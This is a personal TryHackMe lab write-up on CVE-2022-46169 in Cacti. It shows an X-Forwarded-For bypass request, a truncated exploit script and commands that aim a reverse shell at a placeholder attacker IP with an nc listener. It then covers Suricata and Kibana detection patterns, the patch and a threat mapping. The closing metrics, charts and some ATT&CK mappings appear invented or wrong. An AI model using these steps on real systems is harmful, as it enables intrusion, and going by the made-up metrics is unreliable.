Skip to content

One of:TryHackMe:Scenarios:CVE-2022-46169

Consider It as an Ethical Hacking!

STAR

STAR Element Details
Situation - A critical vulnerability (CVE-2022-46169) was identified in Cacti versions <= 1.2.22 that allowed remote attackers to bypass authentication and perform Remote Code Execution (RCE) via remote_agent.php.
- The key flaws were in Cacti's handling of client IP validation (bypass via HTTP header manipulation) and insufficient sanitization of user inputs in poller_id.
Task - Understand and emulate the exploitation process.
- Extract valid parameters for host_id, poller_id, and local_data_ids.
- Exploit the endpoint to gain unauthorized access.
- Execute arbitrary OS commands to trigger RCE.
Action - Authentication Bypass: Use the X-Forwarded-For HTTP header to spoof the client IP and bypass remote_client_authorized() verification.
- Parameter Discovery: Brute-force valid IDs (host_id, local_data_ids) using tools like Burp Suite Intruder.
- Crafted Command Exploitation: Send a malicious payload in the poller_id parameter and execute through the proc_open function in remote_agent.php.
- Reverse Shell: Craft an exploit to execute a reverse shell payload for remote system access.
Result - Successful Authentication Bypass: Manipulation of the X-Forwarded-For header allowed unauthorized access to remote_agent.php.
- Remote Code Execution: Achieved RCE by leveraging the unsanitized poller_id parameter to inject OS commands (e.g., spawn a reverse shell).
- Defense Tactics Proposed: Monitored exploitation through Apache logs, detected IoCs using Suricata rules, and observed malicious events in Kibana. Applied security patches to fix input validation and sanitize code.

Walk-Through

Emulate the exploitation of a vulnerable Cacti instance

Step 1

Topic Details
Exploitation Authentication Bypass: Vulnerability CVE-2022-46169 enables an attacker to bypass authentication & execute arbitrary code remotely on Cacti v1.2.22. It resides in remote_agent.php and exploits IP address manipulation to bypass host validation.
File: remote_agent.php The file implements an authorization check using remote_client_authorized() to verify whether the client is authorized to access the service.
File: lib/html_utility.php The remote_client_authorized() function retrieves the client's IP address and hostname, then compares the hostname to entries in the poller table to verify authenticity.
File: lib/functions.php The get_client_addr() function fetches the client's IP address using headers like X-Forwarded-For, which can be manipulated by attackers.
Authentication Bypass Technique By manipulating the X-Forwarded-For HTTP header to match an entry in the poller table, the remote_client_authorized() function can be tricked into authorizing the attacker.
Example Request (without X-Forwarded-For) Requests without the X-Forwarded-For header will fail to authenticate unless the source IP naturally matches a poller table entry.
Example Request (with X-Forwarded-For) Adding the X-Forwarded-For HTTP header with a manipulated value (such as the server's own IP) can bypass authentication checks if the server hostname is found in the poller table.

Code Snippets

Authorization Verification in remote_agent.php

if (!remote_client_authorized()) {
   ...
}

Function: remote_client_authorized() in lib/html_utility.php

function remote_client_authorized() {
   ..
}

Function: get_client_addr() in lib/functions.php

function get_client_addr($client_addr = false) {
    $http_addr_headers = array(
        'HTTP_X_FORWARDED',
        'HTTP_X_FORWARDED_FOR',
        'HTTP_X_CLUSTER_CLIENT_IP',
        'HTTP_FORWARDED_FOR',
        'HTTP_FORWARDED',
        'HTTP_CLIENT_IP',
        'REMOTE_ADDR',
    );

    $client_addr = false;
    foreach ($http_addr_headers as $header) {
        if (isset($_SERVER[$header])) {
            $header_ips = explode(',', $_SERVER[$header]); // Handle multiple comma-separated IPs
            foreach ($header_ips as $header_ip) {
             ...
                break 2;
            }
        }
    }
    return $client_addr;
}

By leveraging the X-Forwarded-For HTTP header to match an entry in the poller table, attackers can exploit this code to bypass authentication and gain unauthorized access.


Step 2

Topic Details
Exploitation Command Injection: Vulnerability related to the poller_item and its action parameter in remote_agent.php. This allows attackers to execute arbitrary commands via crafted poller_id input.
File: remote_agent.php The file contains actionable code linked to poller items. An unsanitized poller_id parameter pairs with the action parameter (POLLER_ACTION_SCRIPT_PHP) to allow command injection through proc_open.
Injection Initiation The vulnerability begins in the poll_for_data() function. While host_id is sanitized using get_filter_request_var, the poller_id parameter is fetched using get_nfilter_request_var, which does not sanitize input and allows arbitrary strings.
Command Execution Context When the action parameter is set to polldata, poll_for_data() fetches poller items. If the action of one item is set to POLLER_ACTION_SCRIPT_PHP, the poller_id value is passed to proc_open, enabling injection.
Validating Parameters host_id and local_data_ids can be brute-forced using tools like Burp Suite Intruder via iterating numbers until valid identifiers are discovered. This allows attackers to retrieve correct IDs for leveraging the vulnerability.
Remote Code Execution After parameter validation, attackers can execute remote code by sending crafted requests using the discovered host_id and local_data_ids. A reverse shell can be spawned by injecting a payload via the vulnerable endpoint.

Code Snippets

Vulnerable poll_for_data() Function in remote_agent.php

function poll_for_data() {
    // Fetch parameters
    $host_id   = get_filter_request_var('host_id'); // Sanitized
    $poller_id = get_nfilter_request_var('poller_id'); // Unsanitized

    // Fetch poller items
    // ...
    foreach ($items as $item) {
        switch ($item['action']) {
            case POLLER_ACTION_SCRIPT_PHP:  // Executes if poller action is PHP script
                $cactiphp = proc_open(
                    read_config_option('path_php_binary') . ' -q ' .
                  ...
                    $cactides,
                    $pipes
                );
                // ...
        }
    }
}

Burp Suite Request Example for Brute-Forcing Parameters

Exec follow http req is not require but we can use it for testing in burp suit bacause follow req is mentioned by code in the next section which mentioned exploit.

GET /cacti/remote_agent.php?action=polldata&local_data_ids[]=§1§&host_id=§1§&poller_id=1 HTTP/1.1
Host: 10.10.48.31
X-Forwarded-For: 127.0.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: Cacti=asokjqjpteiq57e71...
Connection: close

Python Exploit Code Snippet (exploit.py)

Get the file from exploit.

Note: Do not forget to change X-Forwarded-For': '127.0.0.1

class Exploit:
    def __init__(self, url, proxy=None, rs_host="", rs_port=""):
        self.url = url
        self.session = httpx.Client(headers={"User-Agent": self.random_user_agent()}, verify=False, proxies=proxy)
        self.rs_host = rs_host
        self.rs_port = rs_port

    def exploit(self):
        local_cacti_ip = self.url.split("//")[1].split("/")[0]
        headers = {
            'X-Forwarded-For': '127.0.0.1'
        }
        # Additional exploitation logic...

Reverse Shell Exploitation Example

Run the exploit after modifying the necessary fields in the script:

export ATTACKER_MACHINE_LISTENING_PORT=443
export ATTACKER_IP= 10.10.53.158
python3 51166.py -u http://ip/cacti/ -i ATTACKER_IP -p ATTACKER_MACHINE_LISTENING_PORT

Set up a Netcat listener to catch the reverse shell:

nc -nlvp 443

Once successful, the reverse shell connection is established with administrative privileges.


By carefully analyzing the parameters and leveraging tools like Burp Suite Intruder for brute-forcing, attackers can identify valid host_id and local_data_ids to successfully exploit the vulnerability and achieve Remote Code Execution (RCE).

Step 3

Log Analysis and Alerting


Extracting Information from Logs Using grep

Step Details
Locate Apache Logs - Debian/Ubuntu: Logs at /var/log/apache2/access.log
- CentOS/RHEL: Logs at /var/log/httpd/access.log
Search for Patterns - Exploits leave patterns that deviate from normal user behavior.
IoC-based Search Queries - Search example: grep 'remote_agent.php' /var/log/httpd/access.log
Search by Date/Time - Find logs around specific times.
Example: grep '20/Jul/2023' /var/log/httpd/access_log

Generating Alerts for CVE-2022-46169 Exploitation Using Suricata

0. Writing Rule

Create a new file cacti_exploit.rules:

alert http any any -> $HOME_NET any (msg:"CVE-2022-46169 Cacti Exploit Attempt"; content:"GET"; http_method; content:"/remote_agent.php"; http_uri; content:"action=polldata"; http_uri; content:"poller_id="; http_uri; pcre:"/bash|sh|powershell|cmd/"; flowbits:set,CVE-2022-46169-attempt; metadata:created_at 2023_07_21, updated_at 2023_07_21; classtype:web-application-attack; sid:1000001; rev:2;)
Step Command or Configuration Description
1.File to Modify /etc/suricata/rules/cacti_exploit.rules Save the rule in Suricata's custom rules directory.
2. Update Config Edit the Suricata YAML configuration file (/etc/suricata/suricata.yaml):
default-rule-path: /etc/suricata/rules rule-files: - cacti_exploit.rules - suricata.rules
Add the new rule file to Suricata's configuration to ensure it gets loaded.
3. Restart Suricata sudo systemctl restart suricata Restart the Suricata service to apply changes made to the rules.
4. Monitor Alerts tail -f /var/log/suricata/fast.log Continuously monitor Suricata's fast log for real-time alerts generated by the new rule.
5. Respond to Alerts Analyze alerts for potential exploitation attempts. Identify and mitigate threats by blocking malicious source IPs at the firewall. Take proactive measures to enhance security by responding to alerts promptly.

  • /var/lib/suricata/rules original value of default-path-rule that must be replaced with /etc/suricata/rules.

If you spot any alerts, it indicates potential exploitation attempts. Review the alerts, identify the source IP addresses, and consider blocking them at the firewall level or taking other necessary security measures.

Workflow Recap

Step Action
Detect IoCs in Logs Search Apache logs using grep for patterns or timestamps corresponding to suspicious activity.
Set Up Suricata Rule Create a custom rule to detect CVE-2022-46169 exploitation.
Update Configuration File Edit Suricata's configuration to include the custom rule.
Restart Suricata Apply the new configuration by restarting Suricata.
Monitor Alerts Use Suricata logs (e.g., fast.log) to spot and analyze exploitation attempts.
Respond to Alerts Act on alerts by isolating, blocking malicious IPs, and investigating further.

Note: we found the flag of task 4 quesions: base64-decoded flag being submitted by this adversary?

cat access_log_{date}  | grep flag
GET /cacti/log/index.php #... decode showed code to base64

Step 4

Investigating Events Through Kibana

Step Details
1. Access Kibana Open Kibana at http://MACHINE_IP:5601 using your AttackBox browser.
2. Navigate to Discover - Click on the left sidebar (highlight #1).
- Click Discover (highlight #2).
3. Use Query for CVE-2022-46169 Copy and paste the following query string in the search field to detect suspicious events:
Query String http.request.method:"GET" AND url.original:*remote_agent.php* AND url.query:*action=polldata* AND url.query:*poller_id=* AND url.query:(*bash* OR *sh* OR *powershell* OR *cmd*))
Query Explanation - Searches for HTTP GET requests to remote_agent.php.
- Checks for query parameters: action=polldata, poller_id=.
- Checks for potential commands: bash, sh, powershell, cmd.
4. Configure Discover View - Set Timeframe to July 19, 2023.
- Use index: filebeat-*.
- Paste query in the search field and press Enter.
5. Improve View Add the following fields as columns using the left sidebar: source.ip, url.path, url.query.
6. Analyze Results - View logs related to exploitation of CVE-2022-46169.
- Observe source.ip for attacker IPs.
- Check url.query for malicious payload injected in the poller_id parameter.
7. Investigate July 20 Logs Change Timeframe to July 20, 2023 and analyze events.

Kibana

Step 5

Patch Management and Vulnerable Code Mitigation

Section Details
Challenges in Managing Software Managing third-party software, like Cacti, poses challenges in areas like scale, compliance, and security. Patch management is critical to maintaining stability and security across the organization's IT infrastructure.

v1

Patch Management Steps
Step Details
Patch Identification Monitor sources like vendors, security advisories, and databases to identify patches. Use a baseline asset inventory to map existing software in the organization.
Patch Assessment Assess each patch for relevance and criticality. Factors include vulnerability severity, compatibility, and impact on the environment.
Patch Testing Test patches in controlled environments (e.g., test networks) to avoid introducing new issues.
Patch Deployment Deploy approved patches based on planned schedules or urgency, ensuring consideration for any prerequisites or dependencies.
Patch Verification Verify patch installation with post-deployment testing to ensure stability and security.
Patch Monitoring Continuously monitor for new patches, emerging threats, and updates to maintain ongoing protection.
Key Benefits Patch management proactively addresses vulnerabilities, preventing third-party software threats and maintaining organizational security.

Vulnerable Code Mitigation

As a response of Cacti developers to the vulnerability, a patch was immediately released in version 1.2.3. The fix has prevented the authentication bypass and command injection vulnerabilities on the remote_agent.php endpoint.

To expound further, let's discuss the changes made to the source code.

The source code of Cacti is hosted on GitHub, so we can easily view the commits done during the patch application. For a quick resource, you may use this link to see the essential changes made on the vulnerable endpoint - Resolving CVE-2022-46169.

Based on the resource, it can be seen that the remote_agent.php was updated on the following lines:

  1. The first one is on line 301, which contains $poller_id = get_nfilter_request_var('poller_id');.

  2. Next in line 385, which contains the following code:

$cactiphp = proc_open(read_config_option('path_php_binary') ...
  1. Lastly, lines 446 and 447, which contains:
$poller_id = $config['poller_id']; and $network = ...

v2

v3


Moving on to the remaining fixes, it can be seen that the variables on lines 385, 446 and 447 were all sanitised using the cacti_escapeshellarg function. Based on the source code, it can be seen on /lib/functions.php documentation that the function uses the escapeshellarg built-in PHP function to wrap the argument in a single string via single quotes, preventing potential command injection attempts.


v4


Vulnerable Code Mitigation: Fix for CVE-2022-46169
Fix Details Description
Patch Release A patch was released in Cacti version 1.2.3 to address the vulnerabilities in remote_agent.php, including authentication bypass and command injection.
Key Updated Lines (remote_agent.php) - Line 301: Replaced get_nfilter_request_var with get_filter_request_var.
- Line 385: Sanitized variable using cacti_escapeshellarg.
- Lines 446-447: Same sanitizations applied using cacti_escapeshellarg.

The first fix, on line 301, is about replacing the get_nfilter_request_var function with get_filter_request_var. According to the source code of Cacti, the disabled link documentation of these functions can be seen in /lib/html_utility.php.

The get_nfilter_request_var function allows arbitrary strings, and returns the same value if the parameter exists in the request, else it will return a default value.


Lastly, the patch for the authentication bypass was implemented on the get_client_addr function of /lib/functions.php. As shown in the patch difference., it can be seen that the usage of custom HTTP headers was removed. This fix prevents attackers from arbitrarily setting the client IP; only the REMOTE_ADDR variable is used by default. To maintain the application's functionality, the applied fix allows administrators to configure what HTTP proxy headers are acknowledged when determining the client IP.

v5

Mitigation Details
Change Before Fix After Fix
Line 301: Input Validation Function get_nfilter_request_var: Allows arbitrary strings as inputs, leading to potential injection. Replaced with get_filter_request_var, which restricts inputs to integers, preventing command injection in the poller_id parameter.
Lines 385, 446, 447: Sanitization Variables were unsanitized, making them vulnerable to injection through shell commands. Sanitized variables using cacti_escapeshellarg (uses PHP’s escapeshellarg to escape input).
Authentication Bypass Fix Function get_client_addr allowed overrides using custom HTTP headers, enabling attackers to bypass authentication. Removed custom HTTP headers. Now only the REMOTE_ADDR variable is used as the default to determine client IP, unless explicitly configured for proxy headers.

Source Code References
File/Function Details
/lib/html_utility.php - get_nfilter_request_var: Allowed arbitrary strings.
- get_filter_request_var: Restricted input to integers, addressing injection risks.
/lib/functions.php - cacti_escapeshellarg: Wrapper for PHP’s escapeshellarg, protecting arguments with single quotes to prevent command execution.
- get_client_addr: Updated to restrict IP determination to REMOTE_ADDR.
Patch Link View the patch differences and source code changes here for resolving CVE-2022-46169.

CVE-2022-46169: Analysis and Mapping

Step 1: MITRE ATT&CK TTPs Mapping

Tactics:

  • Initial Access
  • Privilege Escalation
  • Execution
  • Defense Evasion

Techniques:

  • T1078.001: Valid Accounts - Default Accounts
  • T1071.001: Application Layer Protocol - Web Protocol
  • T1190: Exploit Public-Facing Application
  • T1059.003: Command and Scripting Interpreter - Windows Command Shell
  • T1203: Exploitation for Client Execution

Procedures:

  1. Exploiting insufficient IP validation in remote_agent.php by manipulating the X-Forwarded-For HTTP header.
  2. Brute-forcing or discovering valid host_id and local_data_ids parameters.
  3. Leveraging a malicious poller_id parameter to execute system commands unsanitized (via PHP proc_open()).
  4. Establishing a reverse shell through the injected command payload.

Step 2: ROC Curve for Vulnerabilities (CVSS-Based)

ROC (Receiver Operating Characteristic) Curve for CVSS:
This curve represents the True Positive Rate (TPR) against the False Positive Rate (FPR), based on severity classification.

ROC Curve: TPR vs FPR
    1.00 |                                                            ________
         |                                                       ====|       |
         |                                                  ====           (High severity CVSS > 8.0) → x (Target 1)
         |                                              ====
  TPR    |                                           ===         x Label: Sensitivity = 0.80
         |                                          ==
    0.75 |                                     x  ===           x Label: Medium severity (CVSS 4.0–7.9)
         |                                   ==
    0.50 |                               ===
         |                             ==
    0.25 |                        x ===
         |                      ==        x Low severity CVSS < 4.0 (Target 2)
    0.00 |_________x________x________x________________________________________
                  0.00     0.25    0.50    0.75    1.00 FPR
        Low FPR Thresholds → Increasing Severity → High FPR Thresholds

Labels:

  • x = Target Positions
  • High severity: CVSS > 8.0
  • Medium severity: CVSS 4.0–7.9
  • Low severity: CVSS < 4.0
  • X-axis: False Positive Rate (FPR)
  • Y-axis: True Positive Rate (TPR)

Step 3: TTD (Time to Detect) and TTR (Time to Respond)

This section illustrates how quickly detection and response occur for CVE-2022-46169.

Chart for TTD and TTR

Time to Detection (TTD) and Time to Response (TTR)
       |<-----TTD---->|<-------------TTR------------->|
      _________                            ________
     |         |------------------------->|        |
T(0) Detection Initiated            Response Finalized

Timeline legend:
- TTD: Time from exploitation to detection (e.g., log monitoring, SIEM triggers).
- TTR: Time taken to respond, patch, isolate endpoints, and remediate access.
- Example: Detection at T+2hrs, Response complete at T+6hrs.

Step 4: Predictive Performance Metrics

Estimate metrics such as F1 score, Recall (Sensitivity), and Precision based on prediction models for vulnerability detection:

Metric Predicted Value Actual Value (Observed in Real Scenario)
F1 Score 0.84 0.79
Recall 0.86 0.75
Precision 0.82 0.83

Step 5: Variance-Bias Tradeoff & Sampling Methods

Variance-Bias Tradeoff with ROC Curve:

Here, we illustrate scenarios of overfitting, correct fitting, and underfitting.

Variance-Bias Tradeoff ROC Curve

    1.00 | A______x_Label (Overfitting - High Variance)
         |   \
  TPR    |    \       x_Label B: Balanced Tradeoff (Correct Fit)
         |     \
    0.75 |      \    x_Label C: High Bias Underfitting (Missed Positive Detections)
         |       \_
    0.50 |________|_________________________________
                 A       B            C
              High    Balanced      High
           Variance   Tradeoff      Bias

Cross-Validation Sampling:

Cross-Validation Sampling:
                Fold 1    Fold 2    Fold 3     Fold 4
Training:      [****]    [****]    [****]
Validation:    [ ** ]    [ ** ]              Validation applied to partitions

Bootstrapping Sampling:

Bootstrapped Data Representation
 | | | |  (Randomly Resampled Observations)
 | *   *
Observations grouped over multiple training + test performances.

Stratified Sampling Chart:

Stratified Sampling:
    | Balanced Distribution |
       Training  [**** ****]
       Validation [**  **]
        Balanced across CVSS Severity Levels

Step 6: STRIDE Threat Metrics Mapping

Mapping CVE-2022-46169 to the STRIDE framework ensures we identify specific threat categories.

STRIDE Component Associated Threat in CVE-2022-46169
Spoofing Manipulation of X-Forwarded-For HTTP header to bypass authentication.
Tampering Injection into poller_id to execute malicious system commands.
Repudiation Remote attacker anonymization via spoofed IP addresses.
Information Disclosure Accessing sensitive internal resources via brute-forced host_id and local_data_ids.
Denial of Service Potential exploitation impact (e.g., heavy reverse shell traffic).
Elevation of Privilege Unauthorized command execution through RCE in vulnerable endpoints.

Step 7: Vulnerability-TTP Mapping

Final table showcasing vulnerabilities and techniques used.

Vulnerability Associated Tactic/Technique
Authentication Bypass T1190: Exploit Public-Facing Application
Remote Code Execution T1059 (Command and Scripting Interpreter) via poller_id unsanitized input
Parameter Brute-forcing T1071.001: Bruteforcing IDs used in the input parameters (host_id, local_data_ids, etc.)
Reverse Shell Execution T1203: Exploitation for Client Execution

Indicators of Compromise (IoC)

  • Logs showing anomalies in X-Forwarded-For headers.
  • Unexpected traffic spikes from internal Cacti hosts.
  • Shell activity logs indicating spawned reverse shells or command execution.
  • Access to or modification of remote_agent.php.